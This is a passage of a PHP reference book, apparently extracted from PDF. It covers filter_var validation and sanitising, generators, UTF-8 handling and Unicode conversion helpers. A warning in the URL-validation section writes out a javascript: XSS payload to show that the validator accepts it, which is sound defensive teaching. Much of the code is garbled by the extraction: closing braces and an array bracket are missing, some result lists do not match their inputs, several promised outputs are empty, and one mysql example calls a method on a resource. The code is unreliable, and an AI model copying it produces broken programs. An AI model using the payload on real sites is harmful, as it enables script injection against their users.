var_dump(filter_var('1.0', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1.0000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1.00001', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

GoalKicker.com – PHP Notes for Professionals 254

var_dump(filter_var('1,000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1,000.0', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1,000.0000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1,000.00001', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

Results

float(1)

float(1)

float(1)

float(1.00001)

float(1)

float(1)

float(1)

float(1.00001)

bool(false)

bool(false)

bool(false)

bool(false)

float(1)

float(1)

float(1)

float(1.00001)

float(1)

float(1)

float(1)

float(1.00001)

float(1000)

float(1000)

float(1000)

float(1000.00001)
Section 46.3: Validate A MAC Address

Validates a value is a valid MAC address

var_dump(filter_var('FA-F9-DD-B2-5E-0D', FILTER_VALIDATE_MAC));

var_dump(filter_var('DC-BB-17-9A-CE-81', FILTER_VALIDATE_MAC));

var_dump(filter_var('96-D5-9E-67-40-AB', FILTER_VALIDATE_MAC));

var_dump(filter_var('96-D5-9E-67-40', FILTER_VALIDATE_MAC));

var_dump(filter_var('', FILTER_VALIDATE_MAC));

Results:

string(17) "FA-F9-DD-B2-5E-0D"

string(17) "DC-BB-17-9A-CE-81"

string(17) "96-D5-9E-67-40-AB"

bool(false)

bool(false)

Section 46.4: Sanitze Email Addresses

Remove all characters except letters, digits and !#$%&'*+-=?^_`{|}~@.[].

var_dump(filter_var('john@example.com', FILTER_SANITIZE_EMAIL));

var_dump(filter_var("!#$%&'*+-=?^_`{|}~.[]@example.com", FILTER_SANITIZE_EMAIL));

var_dump(filter_var('john/@example.com', FILTER_SANITIZE_EMAIL));

GoalKicker.com – PHP Notes for Professionals 255

var_dump(filter_var('john\@example.com', FILTER_SANITIZE_EMAIL));

var_dump(filter_var('joh n@example.com', FILTER_SANITIZE_EMAIL));

Results:

string(16) "john@example.com"

string(33) "!#$%&'*+-=?^_`{|}~.[]@example.com"

string(16) "john@example.com"
string(16) "john@example.com"

string(16) "john@example.com"

Section 46.5: Sanitize Integers

Remove all characters except digits, plus and minus sign.

var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var(-1, FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var(+1, FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var(1.00, FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var(+1.00, FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var(-1.00, FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var('-1', FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var('+1', FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var('1.00', FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var('+1.00', FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var('-1.00', FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var('1 unicorn', FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var('-1 unicorn', FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var('+1 unicorn', FILTER_SANITIZE_NUMBER_INT));

var_dump(filter_var("!#$%&'*+-=?^_`{|}~@.[]0123456789abcdefghijklmnopqrstuvwxyz",

FILTER_SANITIZE_NUMBER_INT));

Results:

string(1) "1"

string(2) "-1"

string(1) "1"
string(1) "1"

string(1) "1"

string(2) "-1"

string(1) "1"

string(2) "-1"

string(2) "+1"

string(3) "100"

string(4) "+100"

string(4) "-100"

string(1) "1"

string(2) "-1"

string(2) "+1"

string(12) "+-0123456789"

Section 46.6: Sanitize URLs

Sanitze URLs

Remove all characters except letters, digits and $-_.+!*'(),{}|\^~[]`<>#%";/?:@&=

GoalKicker.com – PHP Notes for Professionals 256

var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_SANITIZE_URL));

var_dump(filter_var("http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-=?^_`{|}~.
[]",

FILTER_SANITIZE_URL));

var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=a b c',

FILTER_SANITIZE_URL));

Results:

string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(72) "http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-=?^_`{|}~.[]"

string(53) "http://www.example.com/path/to/dir/index.php?test=abc"

Section 46.7: Validate Email Address

When filtering an email address filter_var() will return the filtered data, in this case the email address,
or false if

a valid email address cannot be found:

var_dump(filter_var('john@example.com', FILTER_VALIDATE_EMAIL));

var_dump(filter_var('notValidEmail', FILTER_VALIDATE_EMAIL));

Results:

string(16) "john@example.com"

bool(false)

This function doesn't validate not-latin characters. Internationalized domain name can be validated in
their xn--

form.

Note that you cannot know if the email address is correct before sending an email to it. You may want
to do some

extra checks such as checking for a MX record, but this is not necessary. If you send a confirmation
email, don't

forget to remove unused accounts after a short period.

Section 46.8: Validating A Value Is An Integer

When filtering a value that should be an integer filter_var() will return the filtered data, in this case
the integer,

or false if the value is not an integer. Floats are not integers:

var_dump(filter_var('10', FILTER_VALIDATE_INT));

var_dump(filter_var('a10', FILTER_VALIDATE_INT));

var_dump(filter_var('10a', FILTER_VALIDATE_INT));

var_dump(filter_var(' ', FILTER_VALIDATE_INT));

var_dump(filter_var('10.00', FILTER_VALIDATE_INT));

var_dump(filter_var('10,000', FILTER_VALIDATE_INT));

var_dump(filter_var('-5', FILTER_VALIDATE_INT));

var_dump(filter_var('+7', FILTER_VALIDATE_INT));

Results:

int(10)

bool(false)

bool(false)

bool(false)

bool(false)

bool(false)

int(-5)

GoalKicker.com – PHP Notes for Professionals 257

int(7)

If you are expecting only digits, you can use a regular expression:

if(is_string($_GET['entry']) && preg_match('#^[0-9]+$#', $_GET['entry']))

// this is a digit (positive) integer

else

// entry is incorrect

If you convert this value into an integer, you don't have to do this check and so you can use filter_var.

Section 46.9: Validating An Integer Falls In A Range

When validating that an integer falls in a range the check includes the minimum and maximum
bounds:

$options = array(

'options' => array(

'min_range' => 5,
'max_range' => 10,

);

var_dump(filter_var('5', FILTER_VALIDATE_INT, $options));

var_dump(filter_var('10', FILTER_VALIDATE_INT, $options));

var_dump(filter_var('8', FILTER_VALIDATE_INT, $options));

var_dump(filter_var('4', FILTER_VALIDATE_INT, $options));

var_dump(filter_var('11', FILTER_VALIDATE_INT, $options));

var_dump(filter_var('-6', FILTER_VALIDATE_INT, $options));

Results:

int(5)

int(10)

int(8)

bool(false)

bool(false)

bool(false)

Section 46.10: Validate a URL

When filtering a URL filter_var() will return the filtered data, in this case the URL, or false if a valid URL
cannot be

found:

URL: example.com

var_dump(filter_var('example.com', FILTER_VALIDATE_URL));

var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));

var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));

var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));

var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));

Results:

bool(false)

bool(false)

bool(false)

bool(false)

bool(false)

GoalKicker.com – PHP Notes for Professionals 258

URL: http://example.com

var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL));

var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));

var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));

var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));

var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));

Results:

string(18) "http://example.com"

string(18) "http://example.com"

string(18) "http://example.com"

bool(false)

bool(false)

URL: http://www.example.com

var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL));

var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));

var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_HOST_REQUIRED));

var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));

var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_QUERY_REQUIRED));

Results:

string(22) "http://www.example.com"

string(22) "http://www.example.com"

string(22) "http://www.example.com"

bool(false)

bool(false)

URL: http://www.example.com/path/to/dir/

var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL));

var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,

FILTER_FLAG_SCHEME_REQUIRED));

var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,

FILTER_FLAG_HOST_REQUIRED));

var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,

FILTER_FLAG_PATH_REQUIRED));

var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,

FILTER_FLAG_QUERY_REQUIRED));

Results:

string(35) "http://www.example.com/path/to/dir/"

string(35) "http://www.example.com/path/to/dir/"

string(35) "http://www.example.com/path/to/dir/"

string(35) "http://www.example.com/path/to/dir/"

bool(false)

URL: http://www.example.com/path/to/dir/index.php
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL));

var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,

FILTER_FLAG_SCHEME_REQUIRED));

var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,

GoalKicker.com – PHP Notes for Professionals 259

FILTER_FLAG_HOST_REQUIRED));

var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,

FILTER_FLAG_PATH_REQUIRED));

var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,

FILTER_FLAG_QUERY_REQUIRED));

Results:

string(44) "http://www.example.com/path/to/dir/index.php"

string(44) "http://www.example.com/path/to/dir/index.php"

string(44) "http://www.example.com/path/to/dir/index.php"

string(44) "http://www.example.com/path/to/dir/index.php"

bool(false)

URL: http://www.example.com/path/to/dir/index.php?test=y

var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL));

var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL,

FILTER_FLAG_SCHEME_REQUIRED));

var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL,

FILTER_FLAG_HOST_REQUIRED));

var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));

var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL,

FILTER_FLAG_QUERY_REQUIRED));

Results:

string(51) "http://www.example.com/path/to/dir/index.php?test=y"

string(51) "http://www.example.com/path/to/dir/index.php?test=y"

string(51) "http://www.example.com/path/to/dir/index.php?test=y"

string(51) "http://www.example.com/path/to/dir/index.php?test=y"

string(51) "http://www.example.com/path/to/dir/index.php?test=y"

Warning: You must check the protocol to protect you against an XSS attack:

var_dump(filter_var('javascript://comment%0Aalert(1)', FILTER_VALIDATE_URL));

// string(31) "javascript://comment%0Aalert(1)"

Section 46.11: Sanitize Floats

Remove all characters except digits, +- and optionally .,eE.

var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT));

var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT));

var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT));

var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT));

var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT));

var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT));

var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT));

var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT));

var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT));

var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT));

var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT));

var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT));

Results:

GoalKicker.com – PHP Notes for Professionals 260

string(1) "1"

string(1) "1"

string(1) "1"

string(6) "100001"

string(1) "1"

string(2) "10"

string(5) "10000"

string(6) "100001"

string(4) "1000"

string(5) "10000"

string(8) "10000000"

string(9) "100000001"

string(9) "18281-009"

With the FILTER_FLAG_ALLOW_THOUSAND option:

var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT,
FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT,
FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT,
FILTER_FLAG_ALLOW_THOUSAND));

Results:

string(1) "1"

string(1) "1"

string(6) "100001"

string(1) "1"

string(2) "10"

string(5) "10000"

string(6) "100001"

string(5) "1,000"

string(6) "1,0000"

string(9) "1,0000000"

string(10) "1,00000001"

string(9) "18281-009"

With the FILTER_FLAG_ALLOW_SCIENTIFIC option:

var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));

var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));

var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));

var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));

var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));

var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));

var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));

var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));

var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));

var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));

var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT,
FILTER_FLAG_ALLOW_SCIENTIFIC));

var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT,
FILTER_FLAG_ALLOW_SCIENTIFIC));

GoalKicker.com – PHP Notes for Professionals 261

var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT,
FILTER_FLAG_ALLOW_SCIENTIFIC));

Results:

string(1) "1"

string(1) "1"

string(1) "1"

string(6) "100001"

string(1) "1"

string(2) "10"

string(5) "10000"

string(6) "100001"

string(4) "1000"

string(5) "10000"

string(8) "10000000"

string(9) "100000001"

string(10) "18281e-009"
Section 46.12: Validate IP Addresses

Validates a value is a valid IP address

var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP));

var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP));

var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP));

var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP));

Results:

string(13) "185.158.24.24"

string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"

string(11) "192.168.0.1"

string(9) "127.0.0.1"

Validate an valid IPv4 IP address:

var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4));

var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP,

FILTER_FLAG_IPV4));

var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4));

var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4));

Results:

string(13) "185.158.24.24"

bool(false)

string(11) "192.168.0.1"

string(9) "127.0.0.1"

Validate an valid IPv6 IP address:

var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6));

var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP,
FILTER_FLAG_IPV6));

var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6));

var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6));

GoalKicker.com – PHP Notes for Professionals 262

Results:

bool(false)

string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"

bool(false)

bool(false)

Validate an IP address is not in a private range:

var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE));

var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP,

FILTER_FLAG_NO_PRIV_RANGE));

var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE));

var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE));

Results:

string(13) "185.158.24.24"

string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"

bool(false)

string(9) "127.0.0.1"

Validate an IP address is not in a reserved range:

var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE));

var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP,

FILTER_FLAG_NO_RES_RANGE));

var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE));

var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE));

Results:

string(13) "185.158.24.24"

bool(false)

string(11) "192.168.0.1"

bool(false)

Section 46.13: Sanitize filters

we can use filters to sanitize our variable according to our need.

Example

$string = "<p>Example</p>";

$newstring = filter_var($string, FILTER_SANITIZE_STRING);

var_dump($newstring); // string(7) "Example"

above will remove the html tags from $string variable.

GoalKicker.com – PHP Notes for Professionals 263

Chapter 47: Generators

Section 47.1: The Yield Keyword

A yield statement is similar to a return statement, except that instead of stopping execution of the
function and

returning, yield instead returns a Generator object and pauses execution of the generator function.

Here is an example of the range function, written as a generator:

function gen_one_to_three() {

for ($i = 1; $i <= 3; $i++) {

// Note that $i is preserved between yields.

yield $i;

}
You can see that this function returns a Generator object by inspecting the output of var_dump:

var_dump(gen_one_to_three())

# Outputs:

class Generator (0) {

Yielding Values

The Generator object can then be iterated over like an array.

foreach (gen_one_to_three() as $value) {

echo "$value\n";

The above example will output:

Yielding Values with Keys

In addition to yielding values, you can also yield key/value pairs.

function gen_one_to_three() {

$keys = ["first", "second", "third"];

for ($i = 1; $i <= 3; $i++) {

// Note that $i is preserved between yields.

yield $keys[$i - 1] => $i;

foreach (gen_one_to_three() as $key => $value) {

echo "$key: $value\n";

}

The above example will output:

GoalKicker.com – PHP Notes for Professionals 264

first: 1

second: 2

third: 3

Section 47.2: Reading a large file with a generator

One common use case for generators is reading a file from disk and iterating over its contents. Below
is a class that

allows you to iterate over a CSV file. The memory usage for this script is very predictable, and will not
fluctuate

depending on the size of the CSV file.

<?php

class CsvReader

protected $file;

public function __construct($filePath) {

$this->file = fopen($filePath, 'r');

public function rows()

while (!feof($this->file)) {

$row = fgetcsv($this->file, 4096);

yield $row;

}
return;

$csv = new CsvReader('/path/to/huge/csv/file.csv');

foreach ($csv->rows() as $row) {

// Do something with the CSV row.

Section 47.3: Why use a generator?

Generators are useful when you need to generate a large collection to later iterate over. They're a
simpler

alternative to creating a class that implements an Iterator, which is often overkill.

For example, consider the below function.

function randomNumbers(int $length)

$array = [];

for ($i = 0; $i < $length; $i++) {

$array[] = mt_rand(1, 10);

return $array;

All this function does is generates an array that's filled with random numbers. To use it, we might do

GoalKicker.com – PHP Notes for Professionals 265

randomNumbers(10), which will give us an array of 10 random numbers. What if we want to generate
one million

random numbers? randomNumbers(1000000) will do that for us, but at a cost of memory. One million
integers

stored in an array uses approximately 33 megabytes of memory.

$startMemory = memory_get_usage();

$randomNumbers = randomNumbers(1000000);

echo memory_get_usage() - $startMemory, ' bytes';

This is due to the entire one million random numbers being generated and returned at once, rather
than one at a

time. Generators are an easy way to solve this issue.

Section 47.4: Using the send()-function to pass values to a

generator

Generators are fast coded and in many cases a slim alternative to heavy iterator-implementations.
With the fast

implementation comes a little lack of control when a generator should stop generating or if it should
generate

something else. However this can be achieved with the usage of the send() function, enabling the
requesting

function to send parameters to the generator after every loop.

//Imagining accessing a large amount of data from a server, here is the generator for this:

function generateDataFromServerDemo()

$indexCurrentRun = 0; //In this example in place of data from the server, I just send feedback

every time a loop ran through.

$timeout = false;

while (!$timeout)

{
$timeout = yield $indexCurrentRun; // Values are passed to caller. The next time the

generator is called, it will start at this statement. If send() is used, $timeout will take this

value.

$indexCurrentRun++;

yield 'X of bytes are missing. </br>';

// Start using the generator

$generatorDataFromServer = generateDataFromServerDemo ();

foreach($generatorDataFromServer as $numberOfRuns)

if ($numberOfRuns < 10)

echo $numberOfRuns . "</br>";

else

$generatorDataFromServer->send(true); //sending data to the generator

echo $generatorDataFromServer->current(); //accessing the latest element (hinting how many

bytes are still missing.

Resulting in this Output:

GoalKicker.com – PHP Notes for Professionals 266

GoalKicker.com – PHP Notes for Professionals 267

Chapter 48: UTF-8

Section 48.1: Input

You should verify every received string as being valid UTF-8 before you try to store it or use it
anywhere.

PHP's mb_check_encoding() does the trick, but you have to use it consistently. There's really no way
around

this, as malicious clients can submit data in whatever encoding they want.

$string = $_REQUEST['user_comment'];

if (!mb_check_encoding($string, 'UTF-8')) {

// the string is not UTF-8, so re-encode it.

$actualEncoding = mb_detect_encoding($string);

$string = mb_convert_encoding($string, 'UTF-8', $actualEncoding);

If you're using HTML5 then you can ignore this last point. You want all data sent to you by browsers to
be

in UTF-8. The only reliable way to do this is to add the accept-charset attribute to all of your <form>
tags like

so:

<form action="somepage.php" accept-charset="UTF-8">

Section 48.2: Output

If your application transmits text to other systems, they will also need to be informed of the character

encoding. In PHP, you can use the default_charset option in php.ini, or manually issue the Content-
Type

MIME header yourself. This is the preferred method when targeting modern browsers.

header('Content-Type: text/html; charset=utf-8');

If you are unable to set the response headers, then you can also set the encoding in an HTML
document with

HTML metadata.
HTML5

<meta charset="utf-8">

Older versions of HTML

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

Section 48.3: Data Storage and Access

This topic specifically talks about UTF-8 and considerations for using it with a database. If you want
more

information about using databases in PHP then checkout this topic.

Storing Data in a MySQL Database:

Specify the utf8mb4 character set on all tables and text columns in your database. This makes MySQL

physically store and retrieve values encoded natively in UTF-8.

GoalKicker.com – PHP Notes for Professionals 268

MySQL will implicitly use utf8mb4 encoding if a utf8mb4_* collation is specified (without any explicit

character set).

Older versions of MySQL (< 5.5.3) do not support utf8mb4 so you'll be forced to use utf8, which only

supports a subset of Unicode characters.

Accessing Data in a MySQL Database:

In your application code (e.g. PHP), in whatever DB access method you use, you'll need to set the
connection

charset to utf8mb4. This way, MySQL does no conversion from its native UTF-8 when it hands data off
to your

application and vice versa.

Some drivers provide their own mechanism for configuring the connection character set, which both
updates

its own internal state and informs MySQL of the encoding to be used on the connection. This is usually
the

preferred approach.
For Example (The same consideration regarding utf8mb4/utf8 applies as above):

If you're using the PDO abstraction layer with PHP ≥ 5.3.6, you can specify charset in the DSN:

$handle = new PDO('mysql:charset=utf8mb4');

If you're using mysqli, you can call set_charset():

$conn = mysqli_connect('localhost', 'my_user', 'my_password', 'my_db');

$conn->set_charset('utf8mb4'); // object oriented style

mysqli_set_charset($conn, 'utf8mb4'); // procedural style

If you're stuck with plain mysql but happen to be running PHP ≥ 5.2.3, you can call mysql_set_charset.

$conn = mysql_connect('localhost', 'my_user', 'my_password');

$conn->set_charset('utf8mb4'); // object oriented style

mysql_set_charset($conn, 'utf8mb4'); // procedural style

If the database driver does not provide its own mechanism for setting the connection character set,

you may have to issue a query to tell MySQL how your application expects data on the connection to

be encoded: SET NAMES 'utf8mb4'.

GoalKicker.com – PHP Notes for Professionals 269

Chapter 49: Unicode Support in PHP

Section 49.1: Converting Unicode characters to “\uxxxx”

format using PHP

You can use the following code for going back and forward.

if (!function_exists('codepoint_encode')) {

function codepoint_encode($str) {

return substr(json_encode($str), 1, -1);

if (!function_exists('codepoint_decode')) {
function codepoint_decode($str) {

return json_decode(sprintf('"%s"', $str));

How to use:

echo "\\nUse JSON encoding / decoding\\n";

var_dump(codepoint_encode("我好"));

var_dump(codepoint_decode('\\u6211\\u597d'));

Output:

Use JSON encoding / decoding

string(12) "\\u6211\\u597d"

string(6) "我好"

Section 49.2: Converting Unicode characters to their numeric

value and/or HTML entities using PHP

You can use the following code for going back and forward.

if (!function_exists('mb_internal_encoding')) {

function mb_internal_encoding($encoding = NULL) {

return ($from_encoding === NULL) ? iconv_get_encoding() : iconv_set_encoding($encoding);

if (!function_exists('mb_convert_encoding')) {

function mb_convert_encoding($str, $to_encoding, $from_encoding = NULL) {

return iconv(($from_encoding === NULL) ? mb_internal_encoding() : $from_encoding,

$to_encoding, $str);

}
}

if (!function_exists('mb_chr')) {

function mb_chr($ord, $encoding = 'UTF-8') {

if ($encoding === 'UCS-4BE') {

return pack("N", $ord);

} else {

return mb_convert_encoding(mb_chr($ord, 'UCS-4BE'), $encoding, 'UCS-4BE');

GoalKicker.com – PHP Notes for Professionals 270

if (!function_exists('mb_ord')) {

function mb_ord($char, $encoding = 'UTF-8') {

if ($encoding === 'UCS-4BE') {

list(, $ord) = (strlen($char) === 4) ? @unpack('N', $char) : @unpack('n', $char);

return $ord;

} else {

return mb_ord(mb_convert_encoding($char, 'UCS-4BE', $encoding), 'UCS-4BE');

if (!function_exists('mb_htmlentities')) {

function mb_htmlentities($string, $hex = true, $encoding = 'UTF-8') {

return preg_replace_callback('/[\x{80}-\x{10FFFF}]/u', function ($match) use ($hex) {

return sprintf($hex ? '&#x%X;' : '&#%d;', mb_ord($match[0]));

}, $string);

if (!function_exists('mb_html_entity_decode')) {

function mb_html_entity_decode($string, $flags = null, $encoding = 'UTF-8') {

return html_entity_decode($string, ($flags === NULL) ? ENT_COMPAT | ENT_HTML401 : $flags,

$encoding);

How to use :

echo "Get string from numeric DEC value\n";

var_dump(mb_chr(50319, 'UCS-4BE'));

var_dump(mb_chr(271));

echo "\nGet string from numeric HEX value\n";

var_dump(mb_chr(0xC48F, 'UCS-4BE'));

var_dump(mb_chr(0x010F));

echo "\nGet numeric value of character as DEC string\n";

var_dump(mb_ord('ď', 'UCS-4BE'));

var_dump(mb_ord('ď'));

echo "\nGet numeric value of character as HEX string\n";

var_dump(dechex(mb_ord('ď', 'UCS-4BE')));

var_dump(dechex(mb_ord('ď')));

echo "\nEncode / decode to DEC based HTML entities\n";

var_dump(mb_htmlentities('tchüß', false));

var_dump(mb_html_entity_decode('tch&#252;&#223;'));
echo "\nEncode / decode to HEX based HTML entities\n";

var_dump(mb_htmlentities('tchüß'));

var_dump(mb_html_entity_decode('tch&#xFC;&#xDF;'));

Output :

Get string from numeric DEC value

string(4) "ď"

string(2) "ď"

Get string from numeric HEX value

string(4) "ď"

string(2) "ď"

GoalKicker.com – PHP Notes for Professionals 271

Get numeric value of character as DEC int

int(50319)

int(271)

